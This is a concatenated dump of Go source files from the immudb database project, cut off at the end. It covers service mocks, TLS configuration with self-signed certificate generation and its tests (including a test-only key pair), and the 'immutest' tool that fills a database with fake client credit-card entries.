cmd *cobra.Command) (err error) UninstallSetupF func(serviceName string) (err error) EraseDataF func(serviceName string) (err error) IsRunningF func(status string) bool GetDefaultConfigPathF func(serviceName string) (string, error) ReadConfigF func(serviceName string) (err error) InstallConfigF func(serviceName string) (err error) CopyExecInOsDefaultF func(execPath string) (newExecPath string, err error) GetDefaultExecPathF func(serviceName string) (string, error) UninstallExecutablesF func(serviceName string) error } func (ss *Sservicemock) NewDaemon(name, description string, dependencies ...string) (d daemon.Daemon, err error) { return ss.NewDaemonF(name, description, dependencies...) } func (ss *Sservicemock) IsAdmin() (bool, error) { return ss.IsAdminF() } func (ss *Sservicemock) InstallSetup(serviceName string, cmd *cobra.Command) (err error) { return ss.InstallSetupF(serviceName, cmd) } func (ss *Sservicemock) UninstallSetup(serviceName string) (err error) { return ss.UninstallSetupF(serviceName) } func (ss *Sservicemock) EraseData(serviceName string) (err error) { return ss.EraseDataF(serviceName) } func (ss *Sservicemock) IsRunning(status string) bool { return ss.IsRunningF(status) } func (ss *Sservicemock) GetDefaultConfigPath(serviceName string) (string, error) { return ss.GetDefaultConfigPathF(serviceName) } func (ss *Sservicemock) ReadConfig(serviceName string) (err error) { return ss.ReadConfigF(serviceName) } func (ss *Sservicemock) InstallConfig(serviceName string) (err error) { return ss.InstallConfigF(serviceName) } func (ss *Sservicemock) CopyExecInOsDefault(execPath string) (newExecPath string, err error) { return ss.CopyExecInOsDefaultF(execPath) } func (ss *Sservicemock) GetDefaultExecPath(serviceName string) (string, error) { return ss.CopyExecInOsDefaultF(serviceName) } func (ss *Sservicemock) UninstallExecutables(serviceName string) error { return ss.UninstallExecutablesF(serviceName) } type SservicePermissionsMock struct{} func (ssp SservicePermissionsMock) GroupCreateIfNotExists() (err error) { return nil } func (ssp SservicePermissionsMock) UserCreateIfNotExists() (err error) { return nil } func (ssp SservicePermissionsMock) SetOwnership(path string) (err error) { return nil } ================================================ FILE: cmd/immudb/command/tls_config.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "crypto/tls" "crypto/x509" "errors" "fmt" "os" "path/filepath" "time" tlscert "github.com/codenotary/immudb/pkg/cert" ) const ( certFileDefault = "immudb-cert.pem" keyFileDefault = "immudb-key.pem" certOrganizationDefault = "immudb" certExpirationDefault = 365 * 24 * time.Hour ) func setUpTLS(pkeyPath, certPath, ca string, mtls bool, autoCert bool) (*tls.Config, error) { if (pkeyPath == "" && certPath != "") || (pkeyPath != "" && certPath == "") { return nil, fmt.Errorf("both certificate and private key paths must be specified or neither") } var c *tls.Config certPath, pkeyPath, err := getCertAndKeyPath(certPath, pkeyPath, autoCert) if err != nil { return nil, err } if certPath != "" && pkeyPath != "" { cert, err := ensureCert(certPath, pkeyPath, autoCert) if err != nil { return nil, fmt.Errorf("failed to read client certificate or private key: %v", err) } c = &tls.Config{ Certificates: []tls.Certificate{*cert}, ClientAuth: tls.VerifyClientCertIfGiven, } if autoCert { rootCert, err := os.ReadFile(certPath) if err != nil { return nil, fmt.Errorf("failed to read root cert: %v", err) } rootPool := x509.NewCertPool() if ok := rootPool.AppendCertsFromPEM(rootCert); !ok { return nil, fmt.Errorf("failed to read root cert") } c.RootCAs = rootPool } } if mtls && (certPath == "" || pkeyPath == "") { return nil, errors.New("in order to enable MTLS a certificate and private key are required") } // if CA is not provided there is an automatic load of local CA in os if mtls && ca != "" { certPool := x509.NewCertPool() // Trusted store, contain the list of trusted certificates. client has to use one of this certificate to be trusted by this server bs, err := os.ReadFile(ca) if err != nil { return nil, fmt.Errorf("failed to read client ca cert: %v", err) } ok := certPool.AppendCertsFromPEM(bs) if !ok { return nil, fmt.Errorf("failed to append client certs: %v", err) } c.ClientCAs = certPool } return c, nil } func loadCert(certPath, keyPath string) (*tls.Certificate, error) { cert, err := tls.LoadX509KeyPair(certPath, keyPath) if err != nil { return nil, fmt.Errorf("failed to load cert/key pair: %w", err) } return &cert, nil } func ensureCert(certPath, keyPath string, genCert bool) (*tls.Certificate, error) { _, err1 := os.Stat(certPath) _, err2 := os.Stat(keyPath) if (os.IsNotExist(err1) || os.IsNotExist(err2)) && genCert { if err := tlscert.GenerateSelfSignedCert(certPath, keyPath, certOrganizationDefault, certExpirationDefault); err != nil { return nil, err } } return loadCert(certPath, keyPath) } func getCertAndKeyPath(certPath, keyPath string, useDefault bool) (string, string, error) { if !useDefault || (certPath != "" && keyPath != "") { return certPath, keyPath, nil } homeDir, err := os.UserHomeDir() if err != nil { return "", "", fmt.Errorf("cannot get user home directory: %w", err) } return filepath.Join(homeDir, "immudb", "ssl", certFileDefault), filepath.Join(homeDir, "immudb", "ssl", keyFileDefault), nil } ================================================ FILE: cmd/immudb/command/tls_config_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "fmt" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) var key = ` -----BEGIN PRIVATE KEY----- MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEApIGvkc3ROIC18zdL K3I4VhKmY7gq1YU53dIwikrd5uy/fjUTmW73rLlthkV1zPvG/34rsW9kMDanmndb QENmHwIDAQABAkEAkOW9vCJaP3d3TCQO7NStdHr23eywpeO0BYMGyDiLXcMOcjaT MrkeCMyXsgtIaoh/sPFO356z2DXjz8Z4PY53EQIhANPSp0dOKi4OeqHdSsj8wjwt eeAxCcASe3cz18gnBUB5AiEAxtDJ3spTLNogOoOzQA8g7rVT8xW5R5xQwfmvZwQx JVcCICAIkGGZMYnLiMInzCJ/DwS4v+CmqdnRMbjCL1TGieXJAiBvQXNWCx6UYNPc KsrqNA0Xx7zcsPFn01+VzOWM3lmqLQIgdUukJDJHjdX203wOJMd51jq3I+c1n09A SXr+Ea7CjsE= -----END PRIVATE KEY----- ` var cert = ` -----BEGIN CERTIFICATE----- MIIB4TCCAYugAwIBAgIUIZwZa1cYqrwK+McrPStDwFD+e1AwDQYJKoZIhvcNAQEL BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMTA3MTYxNDMwMThaFw0yMjA3 MTYxNDMwMThaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwXDANBgkqhkiG9w0BAQEF AANLADBIAkEApIGvkc3ROIC18zdLK3I4VhKmY7gq1YU53dIwikrd5uy/fjUTmW73 rLlthkV1zPvG/34rsW9kMDanmndbQENmHwIDAQABo1MwUTAdBgNVHQ4EFgQU+ENZ 1LFa7+HsPySAYZuPgz2tufkwHwYDVR0jBBgwFoAU+ENZ1LFa7+HsPySAYZuPgz2t ufkwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAANBAHnfiyFv0PYoCCIW d/ax/lUR3RCVV6A+hzTgOhYKvoV1U6iX21hUarcm6MB6qaeORCHfQzQpn62nRe6X 4LbTf3k= -----END CERTIFICATE----- ` func TestSetUpTLS(t *testing.T) { _, err := setUpTLS("banana", "", "banana", false, false) require.Error(t, err) _, err = setUpTLS("banana", "banana", "banana", false, false) require.Error(t, err) _, err = setUpTLS("", "", "", true, false) require.Error(t, err) _, err = setUpTLS("banana", "", "", true, false) require.Error(t, err) defer os.Remove("xxkey.pem") f, _ := os.Create("xxkey.pem") fmt.Fprint(f, key) f.Close() defer os.Remove("xxcert.pem") f, _ = os.Create("xxcert.pem") fmt.Fprint(f, cert) f.Close() _, err = setUpTLS("xxkey.pem", "xxcert.pem", "banana", true, false) require.Error(t, err) } func TestSetUpTLSWithAutoHTTPS(t *testing.T) { t.Run("use specified paths", func(t *testing.T) { tempDir := t.TempDir() certFile := filepath.Join(tempDir, "immudb.cert") keyFile := filepath.Join(tempDir, "immudb.key") tlsConfig, err := setUpTLS(certFile, keyFile, "", false, false) require.Error(t, err) require.Nil(t, tlsConfig) tlsConfig, err = setUpTLS(certFile, keyFile, "", false, true) require.NoError(t, err) require.NotNil(t, tlsConfig) require.FileExists(t, certFile) require.FileExists(t, keyFile) tlsConfig, err = setUpTLS(certFile, keyFile, "", false, false) require.NoError(t, err) require.NotNil(t, tlsConfig) }) t.Run("use default paths", func(t *testing.T) { certPath, keyPath, err := getCertAndKeyPath("", "", true) require.NoError(t, err) defer func() { os.RemoveAll(certPath) os.Remove(keyPath) }() tlsConfig, err := setUpTLS("", "", "", false, true) require.NoError(t, err) require.NotNil(t, tlsConfig) require.FileExists(t, certPath) require.FileExists(t, keyPath) }) } ================================================ FILE: cmd/immudb/fips/fips.go ================================================ //go:build fips // +build fips /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( _ "crypto/tls/fipsonly" immudb "github.com/codenotary/immudb/cmd/immudb/command" ) func main() { immudb.Execute() } ================================================ FILE: cmd/immudb/immudb.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import immudb "github.com/codenotary/immudb/cmd/immudb/command" func main() { immudb.Execute() } ================================================ FILE: cmd/immutest/command/cmd.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immutest import ( c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/spf13/cobra" ) // NewCmd creates a new immutest command func NewCmd( pwr c.PasswordReader, tr c.TerminalReader, ts tokenservice.TokenService, onError func(err error)) *cobra.Command { cmd := &cobra.Command{} Init(cmd, &commandline{ pwr: pwr, tr: tr, tkns: ts, onError: onError, config: c.Config{Name: "immutest"}, }) cmd.AddCommand(version.VersionCmd()) return cmd } ================================================ FILE: cmd/immutest/command/cmd_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immutest /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/spf13/viper" "github.com/stretchr/testify/require" ) func TestImmutest(t *testing.T) { defer viper.Reset() viper.Set("database", "defaultdb") viper.Set("user", "immudb") data := map[string]string{} var index uint64 loginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "token"}, nil } disconnectFOK := func() error { return nil } useDatabaseFOK := func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{Token: "token"}, nil } setFOK := func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) { data[string(key)] = string(value) r := schema.Index{Index: index} index++ return &r, nil } icm := &clienttest.ImmuClientMock{ GetOptionsF: func() *client.Options { return client.DefaultOptions() }, LoginF: loginFOK, DisconnectF: disconnectFOK, UseDatabaseF: useDatabaseFOK, SetF: setFOK, } pwReaderMockOK := &clienttest.PasswordReaderMock{} termReaderMockOK := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: func(def string) (selected string, err error) { return "Y", nil }, } newClient := func(opts *client.Options) (client.ImmuClient, error) { return icm, nil } ts := clienttest.DefaultTokenServiceMock() errFunc := func(err error) { require.NoError(t, err) } cmd1 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd1.SetArgs([]string{"3"}) cmd1.Execute() require.Equal(t, 3, len(data)) ts2 := clienttest.DefaultTokenServiceMock() hdsWriteErr := errors.New("hds write error") ts2.SetTokenF = func(db string, content string) error { return hdsWriteErr } errFunc = func(err error) { require.Error(t, err) require.Equal(t, hdsWriteErr, err) } cmd2 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts2, errFunc) cmd2.SetArgs([]string{"3"}) cmd2.Execute() viper.Set("user", "someuser") cmd3 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd3.SetArgs([]string{"3"}) cmd3.Execute() icErr := errors.New("some immuclient error") newClientErrFunc := func(opts *client.Options) (client.ImmuClient, error) { return nil, icErr } errFunc = func(err error) { require.Error(t, err) require.Equal(t, icErr, err) } cmd4 := NewCmd(newClientErrFunc, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd4.SetArgs([]string{"3"}) cmd4.Execute() errFunc = func(err error) { require.Error(t, err) require.Equal(t, `strconv.Atoi: parsing "a": invalid syntax`, err.Error()) } cmd5 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd5.SetArgs([]string{"a"}) cmd5.Execute() errFunc = func(err error) { require.Error(t, err) require.Equal( t, `Please specify a number of entries greater than 0 or call the command without any argument so that the default number of 100 entries will be used`, err.Error()) } cmd6 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd6.SetArgs([]string{"0"}) cmd6.Execute() pwrErr := errors.New("pwr read error") pwReaderMockErr := &clienttest.PasswordReaderMock{ ReadF: func(string) ([]byte, error) { return nil, pwrErr }, } errFunc = func(err error) { require.Error(t, err) require.Equal(t, pwrErr, err) } cmd7 := NewCmd(newClient, pwReaderMockErr, termReaderMockOK, ts, errFunc) cmd7.SetArgs([]string{"1"}) cmd7.Execute() loginErr := errors.New("some login err") icm.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return nil, loginErr } errFunc = func(err error) { require.Error(t, err) require.Equal(t, loginErr, err) } cmd8 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd8.SetArgs([]string{"1"}) cmd8.Execute() icm.LoginF = loginFOK errFunc = func(err error) { require.Error(t, err) require.Equal(t, hdsWriteErr, err) } cmd9 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts2, errFunc) cmd9.SetArgs([]string{"1"}) cmd9.Execute() errUseDb := errors.New("some use db error") icm.UseDatabaseF = func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) { return nil, errUseDb } errFunc = func(err error) { require.Error(t, err) require.ErrorIs(t, err, errUseDb) } cmd10 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd10.SetArgs([]string{"1"}) cmd10.Execute() icm.UseDatabaseF = useDatabaseFOK termReaderMockErr := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: func(def string) (selected string, err error) { return "", errors.New("some tr error") }, } errFunc = func(err error) { require.Error(t, err) require.Equal(t, "Canceled", err.Error()) } cmd11 := NewCmd(newClient, pwReaderMockOK, termReaderMockErr, ts, errFunc) cmd11.SetArgs([]string{"1"}) cmd11.Execute() errSet := errors.New("some set error") icm.SetF = func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) { return nil, errSet } errFunc = func(err error) { require.Error(t, err) require.ErrorIs(t, err, errSet) } cmd12 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd12.SetArgs([]string{"1"}) cmd12.Execute() icm.SetF = setFOK errDisconnect := errors.New("some disconnect error") icm.DisconnectF = func() error { return errDisconnect } errFunc = func(err error) { require.Error(t, err) require.ErrorIs(t, err, errDisconnect) } cmd13 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd13.SetArgs([]string{"1"}) cmd13.Execute() } */ ================================================ FILE: cmd/immutest/command/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immutest import ( "context" "errors" "fmt" "strconv" "strings" "time" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/cmd/docs/man" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/jaswdr/faker" "github.com/spf13/cobra" "github.com/spf13/viper" ) type commandline struct { immuClient client.ImmuClient pwr c.PasswordReader tr c.TerminalReader tkns tokenservice.TokenService config c.Config onError func(err error) } const defaultNbEntries = 100 // Init initializes the command func Init(cmd *cobra.Command, cl *commandline) { defaultDb := server.DefaultDBName defaultUser := auth.SysAdminUsername defaultPassword := auth.SysAdminPassword if err := cl.configureFlags(cmd, defaultDb, defaultUser); err != nil { cl.onError(err) return } cmd.Use = "immutest [n]" cmd.Short = "Populate immudb with the (optional) number of entries (100 by default)" cmd.Long = fmt.Sprintf(`Populate immudb with the (optional) number of entries (100 by default). Environment variables: IMMUTEST_IMMUDB_ADDRESS=127.0.0.1 IMMUTEST_IMMUDB_PORT=3322 IMMUTEST_DATABASE=%s IMMUTEST_USER=%s IMMUTEST_TOKENFILE=token_admin`, defaultDb, defaultUser) cmd.Example = ` immutest immutest 1000 immutest 500 --database some-database --user some-user` cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { return cl.config.LoadConfig(cmd) } cmd.RunE = func(cmd *cobra.Command, args []string) error { if err := cl.connect(cmd, nil); err != nil { cl.onError(err) return err } defer cl.disconnect(cmd, nil) db := viper.GetString("database") user := viper.GetString("user") ctx := context.Background() onSuccess := func() { reconnect(cl, cmd) } // used to redial with new token login(ctx, cl, cl.immuClient, cl.pwr, cl.tkns, user, defaultUser, defaultPassword, onSuccess) selectDb(ctx, cl, cl.immuClient, cl.tkns, db, onSuccess) nbEntries := parseNbEntries(args, cl) fmt.Printf("Database %s will be populated with %d entries.\n", db, nbEntries) askUserToConfirmOrCancel(cl.tr, cl) fmt.Printf("Populating immudb with %d sample entries (credit cards of clients) ...\n", nbEntries) took := populate(ctx, cl, &cl.immuClient, nbEntries) fmt.Printf( "OK: %d entries were written in %v\nNow you can run, for example:\n"+ " ./immuclient scan client to fetch the populated entries\n"+ " ./immuclient count client to count them\n", nbEntries, took) return nil } cmd.Args = cobra.MaximumNArgs(1) cmd.DisableAutoGenTag = true cmd.AddCommand(man.Generate(cmd, "immutest", "./cmd/docs/man/immutest")) } func reconnect(cl *commandline, cmd *cobra.Command) { cl.disconnect(cmd, nil) if err := cl.connect(cmd, nil); err != nil { cl.onError(err) return } } func parseNbEntries(args []string, cl *commandline) int { nbEntries := defaultNbEntries if len(args) > 0 { var err error nbEntries, err = strconv.Atoi(args[0]) if err != nil { cl.onError(err) return nbEntries } if nbEntries <= 0 { cl.onError(fmt.Errorf( "Please specify a number of entries greater than 0 or call the command without "+ "any argument so that the default number of %d entries will be used", defaultNbEntries)) return nbEntries } } return nbEntries } func login( ctx context.Context, cl *commandline, immuClient client.ImmuClient, pwr c.PasswordReader, tkns tokenservice.TokenService, user string, defaultUser string, defaultPassword string, onSuccess func()) { if user == defaultUser { _, err := immuClient.Login(ctx, []byte(user), []byte(defaultPassword)) if err == nil { onSuccess() return } } pass, err := pwr.Read(fmt.Sprintf("%s's password:", user)) if err != nil { cl.onError(err) return } response, err := immuClient.Login(ctx, []byte(user), pass) if err != nil { cl.onError(err) return } if err := tkns.SetToken("", response.GetToken()); err != nil { cl.onError(err) return } onSuccess() } func selectDb( ctx context.Context, cl *commandline, immuClient client.ImmuClient, tkns tokenservice.TokenService, db string, onSuccess func()) { _, err := immuClient.UseDatabase(ctx, &schema.Database{DatabaseName: db}) if err != nil { cl.onError(err) return } onSuccess() } func askUserToConfirmOrCancel(tr c.TerminalReader, cl *commandline) { fmt.Printf("Are you sure you want to proceed? [y/N]: ") answer, err := tr.ReadFromTerminalYN("N") if err != nil || !(strings.ToUpper("Y") == strings.TrimSpace(strings.ToUpper(answer))) { cl.onError(errors.New("Canceled")) return } } func populate(ctx context.Context, cl *commandline, immuClient *client.ImmuClient, nbEntries int) time.Duration { // batchSize := 100 // var keyReaders []io.Reader // var valueReaders []io.Reader generator := faker.New() p := generator.Person() py := generator.Payment() start := time.Now() end := start for i := 0; i < nbEntries; i++ { var key []byte if i%2 == 0 { key = []byte(fmt.Sprintf("client:%s %s %s", p.TitleFemale(), p.FirstNameFemale(), p.LastName())) } else { key = []byte(fmt.Sprintf("client:%s %s %s", p.TitleMale(), p.FirstNameMale(), p.LastName())) } value := []byte(fmt.Sprintf( "card:%s %s %s", py.CreditCardType(), py.CreditCardNumber(), py.CreditCardExpirationDateString())) //===> simple Set-based version itemStart := time.Now() if _, err := (*immuClient).Set(ctx, key, value); err != nil { cl.onError(err) return 0 } end = end.Add(time.Since(itemStart)) fmt.Printf("%s = %s\n", key, value) //<=== // FIXME OGG: //===> Batch version: seems it doesn't work correctly: get and scan fail afterwards // keyReaders = append(keyReaders, bytes.NewReader(key)) // valueReaders = append(valueReaders, bytes.NewReader(value)) // if i%batchSize == 0 || i == nbEntries-1 { // if _, err := (*immuClient).SetBatch(ctx, &client.BatchRequest{ // Keys: keyReaders, // Values: valueReaders, // }); err != nil { // cl.onError(err) // return 0 // } // end = end.Add(time.Since(batchStart)) // keyReaders = nil // valueReaders = nil // } //<=== } return end.Sub(start) } func options() *client.Options { port := viper.GetInt("immudb-port") address := viper.GetString("immudb-address") tokenFileName := viper.GetString("tokenfile") if !strings.HasSuffix(tokenFileName, client.AdminTokenFileSuffix) { tokenFileName += client.AdminTokenFileSuffix } options := client.DefaultOptions(). WithPort(port). WithAddress(address). WithAuth(true). WithTokenFileName(tokenFileName) return options } func (cl *commandline) disconnect(cmd *cobra.Command, args []string) { if err := cl.immuClient.Disconnect(); err != nil { cl.onError(err) return } } func (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) { if cl.immuClient, err = client.NewImmuClient(options()); err != nil { cl.onError(err) return } return } func (cl *commandline) configureFlags( cmd *cobra.Command, defaultDb string, defaultUser string, ) error { cmd.PersistentFlags().IntP("immudb-port", "p", client.DefaultOptions().Port, "immudb port number") cmd.PersistentFlags().StringP("immudb-address", "a", client.DefaultOptions().Address, "immudb host address") cmd.PersistentFlags().StringP("database", "d", defaultDb, "database to populate") cmd.PersistentFlags().StringP("user", "u", defaultUser, "database user") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immutest.toml)") if err := viper.BindPFlag("immudb-port", cmd.PersistentFlags().Lookup("immudb-port")); err != nil { return err } if err := viper.BindPFlag("immudb-address", cmd.PersistentFlags().Lookup("immudb-address")); err != nil { return err } if err := viper.BindPFlag("database", cmd.PersistentFlags().Lookup("database")); err != nil { return err } if err := viper.BindPFlag("user", cmd.PersistentFlags().Lookup("user")); err != nil { return err } viper.SetDefault("immudb-port", client.DefaultOptions().Port) viper.SetDefault("immudb-address", client.DefaultOptions().Address) viper.SetDefault("database", defaultDb) viper.SetDefault("user", defaultUser) return nil } ================================================ FILE: cmd/immutest/immutest.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "os" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/spf13/viper" c "github.com/codenotary/immudb/cmd/helper" immutest "github.com/codenotary/immudb/cmd/immutest/command" "github.com/codenotary/immudb/cmd/version" ) func main() { err := execute( c.DefaultPasswordReader, c.NewTerminalReader(os.Stdin), tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(viper.GetString("tokenfile")), c.QuitWithUserError, nil) if err != nil { c.QuitWithUserError(err) } os.Exit(0) } func execute( pwr c.PasswordReader, tr c.TerminalReader, ts tokenservice.TokenService, onError func(err error), args []string, ) error { version.App = "immutest" cmd := immutest.NewCmd(pwr, tr, ts, onError) if args != nil { cmd.SetArgs(args) } return cmd.Execute() } ================================================ FILE: cmd/immutest/immutest_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/spf13/viper" "github.com/stretchr/testify/require" ) var homedirContent []byte func TestImmutest(t *testing.T) { defer viper.Reset() viper.Set("database", "defaultdb") viper.Set("user", "immudb") data := map[string]string{} var index uint64 icm := &clienttest.ImmuClientMock{ GetOptionsF: func() *client.Options { return client.DefaultOptions() }, LoginF: func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "token"}, nil }, DisconnectF: func() error { return nil }, UseDatabaseF: func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{Token: "token"}, nil }, SetF: func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) { data[string(key)] = string(value) r := schema.Index{Index: index} index++ return &r, nil }, } pwReaderMock := &clienttest.PasswordReaderMock{} ts := clienttest.DefaultTokenServiceMock() trMock := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: func(string) (string, error) { return "Y", nil }, } execute( func(opts *client.Options) (client.ImmuClient, error) { return icm, nil }, pwReaderMock, trMock, ts, func(err error) { require.NoError(t, err) }, []string{"3"}) require.Equal(t, 3, len(data)) icErr := errors.New("some immuclient error") execute( func(opts *client.Options) (client.ImmuClient, error) { return nil, icErr }, pwReaderMock, trMock, ts, func(err error) { require.Error(t, err) require.Equal(t, icErr, err) }, []string{"3"}) } */ ================================================ FILE: cmd/sservice/constant.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import "errors" var ( // ErrUnsupportedSystem appears if try to use service on system which is not supported by this release ErrUnsupportedSystem = errors.New("unsupported system") // ErrRootPrivileges appears if run installation or deleting the service without root privileges ErrRootPrivileges = errors.New("you must have root user privileges. Possibly using 'sudo' command should help") // ErrExecNotFound provided executable file does not exists ErrExecNotFound = errors.New("executable file does not exists or not provided") // ErrServiceNotInstalled provided executable file does not exists ErrServiceNotInstalled = errors.New("Service is not installed") ) ================================================ FILE: cmd/sservice/manpageservice.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "fmt" "os" "path/filepath" "github.com/spf13/cobra" "github.com/spf13/cobra/doc" ) const ManPath = "/usr/share/man/man1/" type ManpageService interface { InstallManPages(dir string, serviceName string, cmd *cobra.Command) error UninstallManPages(dir string, serviceName string) error } type manpageService struct{} func NewManpageService() manpageService { return manpageService{} } // InstallManPages installs man pages func (ms manpageService) InstallManPages(dir string, serviceName string, cmd *cobra.Command) (err error) { header := &doc.GenManHeader{ Title: serviceName + " service", Section: "1", Source: fmt.Sprintf("Generated by %s service installer", serviceName), } _ = os.Mkdir(dir, os.ModePerm) return doc.GenManTree(cmd, header, dir) } // UninstallManPages uninstalls man 